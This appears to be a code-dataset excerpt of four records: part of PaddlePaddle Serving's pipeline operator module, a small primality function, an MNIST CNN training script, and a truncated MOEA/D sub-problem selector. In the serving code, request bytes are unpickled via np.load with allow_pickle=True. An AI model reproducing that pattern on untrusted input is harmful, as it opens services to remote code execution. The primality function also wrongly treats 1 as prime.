_LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n if len(postped_data_dict) == 0:\n continue\n\n # push data to channel (if run succ)\n start = int(round(_time() * 1000000))\n try:\n profile_str = profiler.gen_profile_str()\n if self.is_jump_op() is True and self.check_jumping(\n postped_data_dict) is True:\n # push data to output channel of ops to be jumped \n for data_id, postped_data in postped_data_dict.items():\n if self._server_use_profile:\n sys.stderr.write(profile_str)\n self._push_to_output_channels(\n data=postped_data,\n channels=output_channels_of_jump_ops,\n profile_str=profile_str,\n client_need_profile=need_profile_dict[data_id],\n profile_set=profile_dict[data_id])\n after_outchannel_time = _time()\n _LOGGER.debug(\n \"(data_id={}) PUSH OUTPUT CHANNEL OF JUMP OPs! op:{} push cost:{} ms\".\n format(data_id, self.name, (after_outchannel_time -\n after_postp_time) *\n 1000))\n else:\n # push data to output channel.\n for data_id, postped_data in postped_data_dict.items():\n if self._server_use_profile:\n sys.stderr.write(profile_str)\n self._push_to_output_channels(\n data=postped_data,\n channels=output_channels,\n profile_str=profile_str,\n client_need_profile=need_profile_dict[data_id],\n profile_set=profile_dict[data_id])\n after_outchannel_time = _time()\n _LOGGER.debug(\n \"(data_id={}) PUSH OUTPUT CHANNEL! op:{} push cost:{} ms\".\n format(data_id, self.name, (after_outchannel_time -\n after_postp_time) *\n 1000))\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n end = int(round(_time() * 1000000))\n out_time = end - start\n after_outchannel_time = int(round(_time() * 1000000))\n if trace_buffer is not None:\n trace_que.append({\n \"name\": self.name,\n \"actions\": {\n \"in\": in_time,\n \"prep\": prep_time,\n \"midp\": midp_time,\n \"postp\": postp_time,\n \"out\": out_time,\n }\n })\n while trace_que:\n info = trace_que[0]\n try:\n trace_buffer.put_nowait(info)\n trace_que.popleft()\n except Queue.Full:\n break\n\n def _initialize(self, is_thread_op, concurrency_idx):\n \"\"\"\n Initialize one OP object in the target function of a thread or porcess.\n Initialize the client object with _client_config and _server_endpoints.\n Create a TimeProfiler per thread or process for recording profiler info.\n\n Args:\n is_thread_op: True, one op runs in one thread; False, one op runs\n in one process.\n concurrency_idx: process id, Thread mode does not use this param.\n\n Returns:\n TimeProfiler\n \"\"\"\n\n @ErrorCatch\n def init_helper(self, is_thread_op, concurrency_idx):\n if is_thread_op:\n with self._for_init_op_lock:\n if not self._succ_init_op:\n # for the threaded version of Op, each thread cannot get its concurrency_idx\n self.concurrency_idx = None\n # init client\n self.client = self.init_client(self._client_config,\n self._server_endpoints)\n # user defined\n self.init_op()\n self._succ_init_op = True\n self._succ_close_op = False\n else:\n self.concurrency_idx = concurrency_idx\n # init client\n self.client = self.init_client(self._client_config,\n self._server_endpoints)\n # user defined\n self.init_op()\n\n init_helper(self, is_thread_op, concurrency_idx)\n print(\"[OP Object] init success\")\n # use a separate TimeProfiler per thread or process\n profiler = TimeProfiler()\n profiler.enable(True)\n return profiler\n\n def _finalize(self, is_thread_op):\n if is_thread_op:\n with self._for_close_op_lock:\n if not self._succ_close_op:\n self._profiler = None\n self.client = None\n self._succ_init_op = False\n self._succ_close_op = True\n\n def _log(self, info):\n return \"{} {}\".format(self.name, info)\n\n\nclass RequestOp(Op):\n \"\"\"\n RequestOp is a special Op, for unpacking one request package. If the\n request needs one special unpackaging method, you need to inherit class\n RequestOp and rewrite function unpack_request_package.Notice!!! Class\n RequestOp does not run preprocess, process, postprocess.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initialize the RequestOp\n \"\"\"\n # PipelineService.name = \"@DAGExecutor\"\n super(RequestOp, self).__init__(name=\"@DAGExecutor\", input_ops=[])\n # init op\n try:\n self.init_op()\n except Exception as e:\n _LOGGER.critical(\"Op(Request) Failed to init: {}\".format(e))\n os._exit(-1)\n\n def proto_tensor_2_numpy(self, tensor):\n \"\"\"\n Convert proto tensor to numpy array, The supported types are as follows:\n INT64\n FP32\n\t\tINT32\n\t\tFP64\n\t\tINT16\n\t\tFP16\n\t\tBF16\n\t\tUINT8\n\t\tINT8\n\t\tBOOL\n BYTES\n Unsupported type:\n STRING\n COMPLEX64\n COMPLEX128\n\n Args:\n tensor: one tensor in request.tensors.\n\n Returns:\n np_data: np.ndnumpy, the tensor data is converted to numpy.\n lod_info: np.ndnumpy, lod info of the tensor data, None default.\n \"\"\"\n if tensor is None or tensor.elem_type is None or tensor.name is None:\n _LOGGER.error(\"input params of tensor is wrong. tensor: {}\".format(\n tensor))\n return None\n\n # Set dim shape\n dims = []\n if tensor.shape is None:\n dims.append(1)\n else:\n for one_dim in tensor.shape:\n dims.append(one_dim)\n\n # Set up 2-d lod tensor\n np_lod = None\n if len(tensor.lod) > 0:\n np_lod = np.array(tensor.lod).astype(int32).reshape(2, -1)\n\n np_data = None\n _LOGGER.info(\"proto_to_numpy, name:{}, type:{}, dims:{}\".format(\n tensor.name, tensor.elem_type, dims))\n if tensor.elem_type == 0:\n # VarType: INT64\n np_data = np.array(tensor.int64_data).astype(int64).reshape(dims)\n elif tensor.elem_type == 1:\n # VarType: FP32\n np_data = np.array(tensor.float_data).astype(float32).reshape(dims)\n elif tensor.elem_type == 2:\n # VarType: INT32\n np_data = np.array(tensor.int_data).astype(int32).reshape(dims)\n elif tensor.elem_type == 3:\n # VarType: FP64\n np_data = np.array(tensor.float64_data).astype(float64).reshape(\n dims)\n elif tensor.elem_type == 4:\n # VarType: INT16\n np_data = np.array(tensor.int_data).astype(int16).reshape(dims)\n elif tensor.elem_type == 5:\n # VarType: FP16\n np_data = np.array(tensor.float_data).astype(float16).reshape(dims)\n elif tensor.elem_type == 6:\n # VarType: BF16\n np_data = np.array(tensor.uint32_data).astype(uint16).reshape(dims)\n elif tensor.elem_type == 7:\n # VarType: UINT8\n np_data = np.array(tensor.uint32_data).astype(uint8).reshape(dims)\n elif tensor.elem_type == 8:\n # VarType: INT8\n np_data = np.array(tensor.int_data).astype(int8).reshape(dims)\n elif tensor.elem_type == 9:\n # VarType: BOOL\n np_data = np.array(tensor.bool_data).astype(bool).reshape(dims)\n elif tensor.elem_type == 13:\n # VarType: BYTES\n byte_data = BytesIO(tensor.byte_data)\n np_data = np.load(byte_data, allow_pickle=True)\n else:\n _LOGGER.error(\"Sorry, the type {} of tensor {} is not supported.\".\n format(tensor.elem_type, tensor.name))\n raise ValueError(\n \"Sorry, the type {} of tensor {} is not supported.\".format(\n tensor.elem_type, tensor.name))\n\n return np_data, np_lod\n\n def unpack_request_package(self, request):\n \"\"\"\n Unpack request package by gateway.proto\n Args:\n request: HTTP body, JSON format\n\n Returns:\n dict_data: json fields in HTTP body\n log_id: log_id\n prod_errcode: None or ProductErrCode.SUCC.value default, otherwise,\n product errores occured.It is handled in the same way\n as exception.\n prod_errinfo: \"\" default \n \"\"\"\n dict_data = {}\n log_id = None\n if request is None:\n _LOGGER.critical(\"request is None\")\n raise ValueError(\"request is None\")\n\n # unpack key/value string list\n for idx, key in enumerate(request.key):\n dict_data[key] = request.value[idx]\n log_id = request.logid\n\n # unpack proto.tensors data.\n for one_tensor in request.tensors:\n name = one_tensor.name\n elem_type = one_tensor.elem_type\n\n if one_tensor.name is None:\n _LOGGER.error(\"Tensor name is None.\")\n raise ValueError(\"Tensor name is None.\")\n\n numpy_dtype = _TENSOR_DTYPE_2_NUMPY_DATA_DTYPE.get(elem_type)\n if numpy_dtype is None:\n _LOGGER.error(\n \"elem_type:{} is dismatch in unpack_request_package.\",\n format(elem_type))\n raise ValueError(\"elem_type:{} error\".format(elem_type))\n\n if numpy_dtype == \"string\":\n new_string = \"\"\n if one_tensor.str_data is None:\n _LOGGER.error(\n \"str_data of tensor:{} is None, elem_type is {}.\".\n format(name, elem_type))\n raise ValueError(\n \"str_data of tensor:{} is None, elem_type is {}.\".\n format(name, elem_type))\n for one_str in one_tensor.str_data:\n new_string += one_str\n\n dict_data[name] = new_string\n else:\n np_data, np_lod = self.proto_tensor_2_numpy(one_tensor)\n dict_data[name] = np_data\n if np_lod is not None:\n dict_data[name + \".lod\"] = np_lod\n\n _LOGGER.info(\"RequestOp unpack one request. log_id:{}, clientip:{} \\\n name:{}, method:{}, time:{}\"\n .format(log_id, request.clientip, request.name,\n request.method, time.time()))\n\n return dict_data, log_id, None, \"\"\n\n\nclass ResponseOp(Op):\n \"\"\" \n ResponseOp is a special Op, for packing one response package. If the channeldata \n needs a special packaging method, you need to inherit class ReponseOp and rewrite\n pack_response_package function. Notice!!! Class ResponseOp does not run preprocess,\n process, postprocess.\n \"\"\"\n\n def __init__(self, input_ops):\n \"\"\"\n Initialize the ResponseOp\n \"\"\"\n super(ResponseOp, self).__init__(\n name=\"@DAGExecutor\", input_ops=input_ops)\n\n # init op\n try:\n self.init_op()\n except Exception as e:\n _LOGGER.critical(\"Op(ResponseOp) Failed to init: {}\".format(\n e, exc_info=True))\n os._exit(-1)\n\n # init ResponseOp\n self.is_pack_tensor = False\n\n def set_pack_format(self, isTensor=False):\n self.is_pack_tensor = isTensor\n\n def pack_response_package(self, channeldata):\n \"\"\"\n Getting channeldata from the last channel, packting the response \n package serialized by protobuf. \n\n Args:\n channeldata: Type ChannelData\n\n Returns:\n resp: pipeline_service_pb2.Response()\n \"\"\"\n resp = pipeline_service_pb2.Response()\n error_code = channeldata.error_code\n error_info = \"\"\n if error_code == ChannelDataErrcode.OK.value:\n # Framework level errors\n if channeldata.datatype == ChannelDataType.CHANNEL_NPDATA.value:\n feed = channeldata.parse()\n # ndarray to string:\n # https://stackoverflow.com/questions/30167538/convert-a-numpy-ndarray-to-stringor-bytes-and-convert-it-back-to-numpy-ndarray\n np.set_printoptions(threshold=sys.maxsize)\n for name, var in feed.items():\n resp.value.append(var.__repr__())\n resp.key.append(name)\n elif channeldata.datatype == ChannelDataType.DICT.value:\n feed = channeldata.parse()\n for name, var in feed.items():\n if not isinstance(var, str):\n error_code = ChannelDataErrcode.TYPE_ERROR.value\n error_info = self._log(\n \"fetch var type must be str({}).\".format(\n type(var)))\n _LOGGER.error(\"(logid={}) Failed to pack RPC \"\n \"response package: {}\".format(\n channeldata.id, resp.err_msg))\n break\n resp.value.append(var)\n resp.key.append(name)\n else:\n error_code = ChannelDataErrcode.TYPE_ERROR.value\n error_info = self._log(\"error type({}) in datatype.\".format(\n channeldata.datatype))\n _LOGGER.error(\"(logid={}) Failed to pack RPC response\"\n \" package: {}\".format(channeldata.id, error_info))\n else:\n # Product level errors\n error_info = channeldata.error_info\n if error_code == ChannelDataErrcode.PRODUCT_ERROR.value:\n #rewrite error_code when product errors occured\n error_code = channeldata.prod_error_code\n error_info = channeldata.prod_error_info\n\n # pack results\n if error_code is None:\n error_code = 0\n resp.err_no = error_code\n resp.err_msg = error_info\n\n return resp\n\n\nclass VirtualOp(Op):\n \"\"\" \n To connect 2 ops across levels in dag view, we create virtual ops\n between non-virtual ops, and transfer data only. For examples, \n the pred ops of F are D & E.In the process of building DAG, we will\n create channels layer by layer according to dag views.Op F is not \n in the next layer view of [B, E], so we will create a virtual OP \n 'V1' whose pred OP is E. And so on, we create two virtual op 'V2'\n and 'V3', Finally, we find the non-virtual op F. we create 4 channels\n among E, V1, V2, V3 and F, the producer of V1, V2, V3 and F is E.\n \n DAG: [A -> B -> C -> D -> F]\n \\-> E ----------/\n\n DAG view: [[A], [B, E], [C], [D], [F]]\n BUILD DAG: [A -> B -> C -> D -> F]\n \\-> E -> V1-> V2->/\n \"\"\"\n\n def __init__(self, name, concurrency=1):\n super(VirtualOp, self).__init__(\n name=name, input_ops=None, concurrency=concurrency)\n self._virtual_pred_ops = []\n\n def add_virtual_pred_op(self, op):\n \"\"\"\n Add the front op of current vritual op.\n \n Args:\n op: one op object, may be a virtual op or not.\n\n Returns:\n None\n \"\"\"\n self._virtual_pred_ops.append(op)\n\n def _actual_pred_op_names(self, op):\n \"\"\"\n Recursively find the front op which is a non-virtual op.\n \n Args:\n op: one op object\n \n Returns:\n names: the name of non-virtual pred ops.\n \"\"\"\n # can use disjoint-set, but it's not necessary\n if not isinstance(op, VirtualOp):\n return [op.name]\n names = []\n for x in op._virtual_pred_ops:\n names.extend(self._actual_pred_op_names(x))\n return names\n\n def add_output_channel(self, channel):\n \"\"\"\n Adding the output channel of non-virtual pred ops.\n\n Args:\n channel: one channel.\n \n Returns:\n None.\n \"\"\"\n if not isinstance(channel, (ThreadChannel, ProcessChannel)):\n _LOGGER.critical(\n self._log(\"Failed to add output_channel: output_channel\"\n \" must be Channel type, not {}\".format(\n type(channel))))\n os._exit(-1)\n for op in self._virtual_pred_ops:\n for op_name in self._actual_pred_op_names(op):\n channel.add_producer(op_name)\n self._outputs.append(channel)\n\n def _run(self, concurrency_idx, input_channel, output_channels, client_type,\n is_thread_op):\n \"\"\"\n The target function _run() only transfers data between OPs in one thread\n or process.\n\n Args:\n concurrency_idx: process id, not avaliable in thread mode.\n input_channel: input channel\n output_channels: output channels\n client_type: no use\n is_thread_op: True, thread mode; False, process mode\n\n Returns:\n None\n \"\"\"\n op_info_prefix = \"[{}|{}]\".format(self.name, concurrency_idx)\n log = get_log_func(op_info_prefix)\n tid = threading.current_thread().ident\n\n batch_generator = self._auto_batching_generator(\n input_channel=input_channel,\n op_name=self.name,\n batch_size=1,\n timeout=None,\n log_func=log)\n\n while True:\n try:\n channeldata_dict_batch = next(batch_generator)\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n\n try:\n for channeldata_dict in channeldata_dict_batch:\n for name, data in channeldata_dict.items():\n self._push_to_output_channels(\n data, channels=output_channels, name=name)\n except ChannelStopError:\n _LOGGER.debug(\"{} Stop.\".format(op_info_prefix))\n self._finalize(is_thread_op)\n break\n","repo_name":"PaddlePaddle/Serving","sub_path":"python/pipeline/operator.py","file_name":"operator.py","file_ext":"py","file_size_in_byte":84893,"program_lang":"python","lang":"en","doc_type":"code","stars":848,"dataset":"github-code","pt":"54"} +{"seq_id":"20910546989","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport math\n\ndef premier(n):\n if n == 0: return(False)\n if n == 1: return(True)\n for i in range(2, n):\n if n % i == 0:\n return(False)\n return(True)\n","repo_name":"OpenWeek/inginious-task-LINGE","sub_path":"TP3Ex1Supp/src/CorrQ.py","file_name":"CorrQ.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40895164864","text":"import tensorflow as tf\nimport random as rn\nimport numpy as np\nimport time\nimport os\n\n##############################\n### USER ADJUSTABLE PARAMS ###\n##############################\nepochs = 50\nbatch_size = 200\nlearning_rate = 0.02\nshuffle = True\nuse_gpu = True # else use CPU\nuse_keras = False # else use raw tensorflow codepath\nuse_conv2d = True # else use simple 3-layer dense network\nnum_hidden = 10 if not use_conv2d else 0\nmnist_data_scale = 1 if use_conv2d else 1 # scale the number of training and testing entries .. useful to speed things up\nforce_deterministic = False\nrandom_seed = 41\n##############################\n\nnormalize_inputs = False # must be false\nnormalize_outputs = False # must be false\n\ndef one_hot(arrays):\n\tdef one_hot_(array, m):\n\t\tn = len(array)\n\t\tb = np.zeros((n, m))\n\t\tb[np.arange(n), array] = 1\n\t\treturn np.array(b).astype(int)\n\tm = np.amax([np.amax(a) for a in arrays]) + 1\n\treturn (one_hot_(a, m) for a in arrays)\n\ndef shuffle_unison(arrays):\n\tn = len(arrays[0])\n\tfor _, a in enumerate(arrays, start=1):\n\t\tassert n == len(a)\n\tperm = np.random.permutation(n)\n\treturn (a[perm] for a in arrays)\n\ndef get_time_string(seconds):\n\tif seconds < 0.1:\n\t\treturn \"{:.4f} ms\".format(1000 * seconds)\n\telif seconds < 100:\n\t\treturn \"{:.4f} seconds\".format(seconds)\n\telse:\n\t\treturn \"{:.4f} minutes\".format(seconds / 60)\n\n# [cost, accuracy] for first 3 epochs over 5 runs ..\n# note that deterministic runs are consistent in score for the first 6 or 7 decimal places\n# non-deterministic runs vary widely\n#\n# deterministic:\n# run 1: [2.1783223117828370, 0.2306], [2.0429167129516603, 0.3325], [1.9148488014221192, 0.4039]\n# run 2: [2.1783223091125490, 0.2306], [2.0429167083740234, 0.3325], [1.9148488075256347, 0.4039]\n# run 3: [2.1783223079681395, 0.2306], [2.0429167053222654, 0.3325], [1.9148488021850585, 0.4039]\n# run 4: [2.1783223079681395, 0.2306], [2.0429167022705080, 0.3325], [1.9148488048553467, 0.4039]\n# run 5: [2.1783223094940185, 0.2306], [2.0429167053222654, 0.3325], [1.9148488014221192, 0.4039]\n#\n# non-deterministic\n# run 1: [2.2574144844055177, 0.2013], [2.1387517375946046, 0.3052], [2.0254593414306640, 0.3522]\n# run 2: [2.1411928066253663, 0.2347], [1.9809556648254394, 0.3550], [1.8324221063613892, 0.4329]\n# run 3: [2.1372428092956540, 0.2429], [2.0103229276657104, 0.3567], [1.8791631507873534, 0.4492]\n# run 4: [2.2036154617309570, 0.2268], [2.1070711654663086, 0.2813], [2.0114383541107177, 0.3299]\n# run 5: [2.1748092433929442, 0.1945], [2.0556745847702027, 0.3033], [1.9350524660110473, 0.4072]\n\nparallelism_threads = 0 # default\nif force_deterministic:\n # The below is necessary in Python 3.2.3 onwards to\n # have reproducible behavior for certain hash-based operations.\n # See these references for further details:\n # https://docs.python.org/3.4/using/cmdline.html#envvar-PYTHONHASHSEED\n # https://github.com/fchollet/keras/issues/2280#issuecomment-306959926\n os.environ['PYTHONHASHSEED'] = '0'\n\n # The below is necessary for starting core Python generated random numbers\n # in a well-defined state.\n rn.seed(random_seed)\n\n # The below is necessary for starting Numpy generated random numbers\n # in a well-defined initial state.\n np.random.seed(random_seed)\n\n # The below tf.set_random_seed() will make random number generation\n # in the TensorFlow backend have a well-defined initial state.\n # For further details, see: https://www.tensorflow.org/api_docs/python/tf/set_random_seed\n tf.set_random_seed(random_seed)\n\n # Force TensorFlow to use single thread.\n # Multiple threads are a potential source of non-reproducible results.\n # For further details, see: https://stackoverflow.com/questions/42022950/which-seeds-have-to-be-set-where-to-realize-100-reproducibility-of-training-res\n parallelism_threads = 1\n\noptions = tf.RunOptions(report_tensor_allocations_upon_oom=True)\nconfig = tf.ConfigProto(device_count={'GPU': 1 if use_gpu else 0},\n inter_op_parallelism_threads=parallelism_threads,\n intra_op_parallelism_threads=parallelism_threads)\n#config.gpu_options.per_process_gpu_memory_fraction = 0.5\n#config.gpu_options.allow_growth = True\n\nfrom keras import backend as K\n\nfrom keras.datasets import mnist\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nif mnist_data_scale < 1:\n x_train = x_train[:-int(x_train.shape[0] * (1 - mnist_data_scale))]\n y_train = y_train[:-int(y_train.shape[0] * (1 - mnist_data_scale))]\n x_test = x_test[:-int(x_test.shape[0] * (1 - mnist_data_scale))]\n y_test = y_test[:-int(y_test.shape[0] * (1 - mnist_data_scale))]\n[train_entries, image_width, image_height] = x_train.shape\n[test_entries, image_width_, image_height_] = x_test.shape\nassert (image_width, image_height) == (image_width_, image_height_)\nimage_size = image_width * image_height\nif use_keras and use_conv2d:\n if K.image_data_format() == 'channels_first':\n x_train = x_train.reshape(train_entries, 1, image_width, image_height)\n x_test = x_test.reshape(test_entries, 1, image_width, image_height)\n input_shape = (1, image_width, image_height)\n else:\n x_train = x_train.reshape(train_entries, image_width, image_height, 1)\n x_test = x_test.reshape(test_entries, image_width, image_height, 1)\n input_shape = (image_width, image_height, 1)\nelse:\n x_train = x_train.reshape(train_entries, image_size)\n x_test = x_test.reshape(test_entries, image_size)\nx_train = x_train.astype('float32') / 255\nx_test = x_test.astype('float32') / 255\nnum_inputs = image_size\nnum_classes = max(np.amax(y_train), np.amax(y_test)) + 1\nnum_outputs = num_classes\ny_train, y_test = one_hot((y_train, y_test))\nprint(\"num inputs = {}, num classes = {}\".format(num_inputs, num_classes))\nprint(\"training entries = {}, testing entries = {}\".format(train_entries, test_entries))\n\nif use_conv2d:\n print(\"image_width = {}, image_height = {}\".format(image_width, image_height))\n import psutil\n if psutil.virtual_memory()[0] > 16*1024*1024*1024: # >16GB, assume it's my desktop PC ..\n conv1_size = 5\n conv1_depth = 32\n conv2_size = 5\n conv2_depth = 64\n else: # .. assume it's my laptop, with a fraction of the GPU memory - make smaller filters\n conv1_size = 3\n conv1_depth = 16\n conv2_size = 3\n conv2_depth = 32\n num_dense_nodes = 1024\n dropout_prob = 0.5\n\nif use_keras:\n from keras.layers.core import Dense, Activation, Dropout\n from keras.layers import Conv2D, MaxPooling2D, Flatten\n from keras.models import Sequential\n from keras.optimizers import SGD, Adam\n from keras.callbacks import LambdaCallback\n model = Sequential()\n if use_conv2d:\n if False: # https://github.com/keras-team/keras/blob/master/examples/mnist_cnn.py\n model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape))\n model.add(Conv2D(64, kernel_size=(3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n model.add(Flatten())\n model.add(Dense(128, activation='relu'))\n model.add(Dropout(0.5))\n else: # deep mnist - see https://gist.github.com/saitodev/c4c7a8c83f5aa4a00e93084dd3f848c5\n model.add(Conv2D(conv1_depth, kernel_size=conv1_size, activation='relu', input_shape=input_shape))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Conv2D(conv2_depth, kernel_size=conv2_size, activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Flatten())\n model.add(Dense(num_dense_nodes, activation='relu'))\n if dropout_prob > 0:\n model.add(Dropout(dropout_prob))\n else:\n model.add(Dense(num_hidden, input_shape=(image_size, ), activation='relu'))\n model.add(Dense(num_classes, activation='softmax'))\n model.compile(loss='categorical_crossentropy', metrics=['acc'], optimizer=SGD(lr=learning_rate))\n\n def get_accuracy_string():\n score = model.evaluate(x_test, y_test, verbose=0)\n return \"{:.4f}%\".format(100 * score[1])\n def get_accuracy_cost_strings():\n score = model.evaluate(x_test, y_test, verbose=0)\n cost_out = score[0]\n if normalize_outputs:\n cost_out *= (y_max - y_min) ** 2\n return (\"{:.4f}%\".format(100 * score[1]), \"{:.9f}\".format(cost_out))\n class CB_Master(object):\n def __init__(self, model):\n self.model = model\n self.epoch_time = time.perf_counter()\n def on_epoch_end(self, epoch, logs):\n if epoch <= 10 or (epoch % 10) == 0:\n if epoch <= 10:\n time1 = time.perf_counter()\n time_str = \", time = {}\".format(get_time_string(time1 - self.epoch_time))\n self.epoch_time = time1\n else:\n time_str = \"\"\n acc_str, cst_str = get_accuracy_cost_strings()\n print(\"epoch {}: accuracy = {}, cost = {}{}\".format(epoch, acc_str, cst_str, time_str))\n cb = CB_Master(model)\n callbacks = []\n callbacks.append(LambdaCallback(on_epoch_end=cb.on_epoch_end))\n K.tensorflow_backend.set_session(tf.Session(config=config))\n start_time = time.perf_counter()\n model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, shuffle=shuffle, callbacks=callbacks, verbose=0)\n duration = time.perf_counter() - start_time\n accuracy_str = \" accuracy = {},\".format(get_accuracy_string())\n time_str = \" total time = {} ({}/epoch)\".format(get_time_string(duration),\n get_time_string(duration / epochs))\n print(\"epoch {}:{}{}\".format(epochs, accuracy_str, time_str))\n print(\"\")\n for i, layer in enumerate(model.layers): # dump weights and biases for all layers\n try:\n weights, biases = layer.get_weights()\n print(\"layer {} weights:\\n{}\".format(i, weights))\n print(\"layer {} biases:\\n{}\".format(i, biases))\n except ValueError:\n print(\"layer {} has no weights/biases\\n\".format(i))\n pass\nelse:\n X = tf.placeholder(tf.float32, [None, num_inputs])\n Y = tf.placeholder(tf.float32, [None, num_outputs])\n\n if use_conv2d:\n def conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n def max_pool_2x2(x):\n return tf.nn.max_pool(x, strides=[1, 2, 2, 1], ksize=[1, 2, 2, 1], padding='SAME')\n\n # Convolutional layer 1\n W_conv1 = tf.Variable(tf.glorot_uniform_initializer()(shape=[conv1_size, conv1_size, 1, conv1_depth]))\n b_conv1 = tf.Variable(tf.zeros(shape=[conv1_depth]))\n h_conv1 = tf.nn.relu(conv2d(tf.reshape(X, [-1, image_width, image_height, 1]), W_conv1) + b_conv1)\n h_pool1 = max_pool_2x2(h_conv1)\n\n # Convolutional layer 2\n W_conv2 = tf.Variable(tf.glorot_uniform_initializer()(shape=[conv2_size, conv2_size, conv1_depth, conv2_depth]))\n b_conv2 = tf.Variable(tf.zeros(shape=[conv2_depth]))\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\n h_pool2 = max_pool_2x2(h_conv2)\n\n # Fully connected layer 1\n flattened_size = (image_width // 4) * (image_height // 4)\n W_fc1 = tf.Variable(tf.glorot_uniform_initializer()(shape=[flattened_size * conv2_depth, num_dense_nodes]))\n b_fc1 = tf.Variable(tf.zeros(shape=[num_dense_nodes]))\n h_fc1 = tf.nn.relu(tf.matmul(tf.reshape(h_pool2, [-1, flattened_size * conv2_depth]), W_fc1) + b_fc1)\n\n # Dropout\n keep_prob = tf.placeholder(tf.float32)\n if dropout_prob > 0:\n h_fc1 = tf.nn.dropout(h_fc1, keep_prob)\n\n # Fully connected layer 2 (Output layer)\n W_fc2 = tf.Variable(tf.glorot_uniform_initializer()(shape=[num_dense_nodes, num_outputs]))\n b_fc2 = tf.Variable(tf.zeros(shape=[num_outputs]))\n h_fc2 = tf.matmul(h_fc1, W_fc2) + b_fc2\n output = h_fc2\n else:\n W_layer1 = tf.Variable(tf.glorot_uniform_initializer()(shape=[num_inputs, num_hidden]))\n b_layer1 = tf.Variable(tf.zeros(shape=[num_hidden]))\n h_layer1 = tf.nn.relu(tf.matmul(X, W_layer1) + b_layer1)\n W_layer2 = tf.Variable(tf.glorot_uniform_initializer()(shape=[num_hidden, num_outputs]))\n b_layer2 = tf.Variable(tf.zeros(shape=[num_outputs]))\n h_layer2 = tf.matmul(h_layer1, W_layer2) + b_layer2\n output = h_layer2\n\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=Y, logits=output))\n cost_batch = cost * tf.cast(tf.shape(Y)[0], tf.float32)\n predict = tf.argmax(output, axis=1)\n correct = tf.equal(predict, tf.argmax(Y, axis=1))\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n update = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)\n\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer(), options=options)\n start_time = time.perf_counter()\n epoch_time = start_time\n for epoch in range(epochs):\n def get_accuracy_string():\n acc = sess.run(accuracy, feed_dict={X: x_test, Y: y_test, keep_prob: 1}, options=options)\n return \"{:.4f}%\".format(100 * acc)\n if shuffle:\n x_train, y_train = shuffle_unison((x_train, y_train))\n if num_classes == 1:\n y_train = y_train.flatten()\n if 0 < batch_size < train_entries:\n cost_sum = 0\n for i in range(0, train_entries, batch_size):\n j = min(i + batch_size, train_entries)\n cost_out, _ = sess.run([cost_batch, update],\n feed_dict={X: x_train[i:j],\n Y: y_train[i:j],\n keep_prob: 1 - dropout_prob},\n options=options)\n cost_sum += cost_out\n cost_out = cost_sum / train_entries\n else:\n cost_out, _ = sess.run([cost, update],\n feed_dict={X: x_train,\n Y: y_train,\n keep_prob: 1 - dropout_prob},\n options=options)\n if epoch <= 10 or (epoch % 10) == 0:\n if epoch <= 10:\n time1 = time.perf_counter()\n duration = time1 - epoch_time\n time_str = \", time = {}\".format(get_time_string(time1 - epoch_time))\n epoch_time = time1\n else:\n time_str = \"\"\n if num_classes > 1:\n accuracy_str = \" accuracy = {},\".format(get_accuracy_string())\n else:\n accuracy_str = \"\"\n if normalize_outputs:\n cost_out *= (y_max - y_min) ** 2\n print(\"epoch {}:{} cost = {:.9f}{}\".format(epoch, accuracy_str, cost_out, time_str))\n duration = time.perf_counter() - start_time\n accuracy_str = \" accuracy = {},\".format(get_accuracy_string())\n time_str = \" total time = {} ({}/epoch)\".format(get_time_string(duration),\n get_time_string(duration / epochs))\n print(\"epoch {}:{}{}\".format(epochs, accuracy_str, time_str))\n","repo_name":"bernief1/neural_net","sub_path":"deep_mnist.py","file_name":"deep_mnist.py","file_ext":"py","file_size_in_byte":15589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37704238509","text":"import random\n\nfrom moead_framework.core.sps_strategy.abstract_sps import SpsStrategy\n\n\nclass SpsRandomAndBoundaries(SpsStrategy):\n \"\"\"\n Select randomly lambda sub-problems at each generation with boundaries sub-problems\n\n Pruvost, Geoffrey, et al.\n \"On the Combined Impact of Population Size and Sub-problem Selection in MOEA/D.\"\n European Conference on Evolutionary Computation in Combinatorial Optimization (Part of EvoStar).\n Springer, Cham, 2020\n\n The strategy requires the attribute number_of_subproblem to define the number of sub-problem to iterate for the next generation.\n\n \"\"\"\n def get_sub_problems(self):\n \"\"\"\n Select lambda random sub problems\n\n lambda is represented here by the attribute self.algorithm.number_of_subproblem\n\n :return: {list} indexes of sub-problems\n \"\"\"\n if not hasattr(self.algorithm, 'number_of_subproblem'):\n msg = \"Algorithm lacks required attribute 'number_of_subproblem' for component 'SpsRandomAndBoundaries'.\"\n raise AttributeError(msg)\n\n range_list = list(range(self.algorithm.number_of_weight))\n xtrem_index = self.get_xtrem_index()\n random_indexes = random.sample(list(set(range_list) - set(xtrem_index)), self.algorithm.number_of_subproblem)\n\n random_indexes = random_indexes + xtrem_index\n random.shuffle(random_indexes)\n\n return 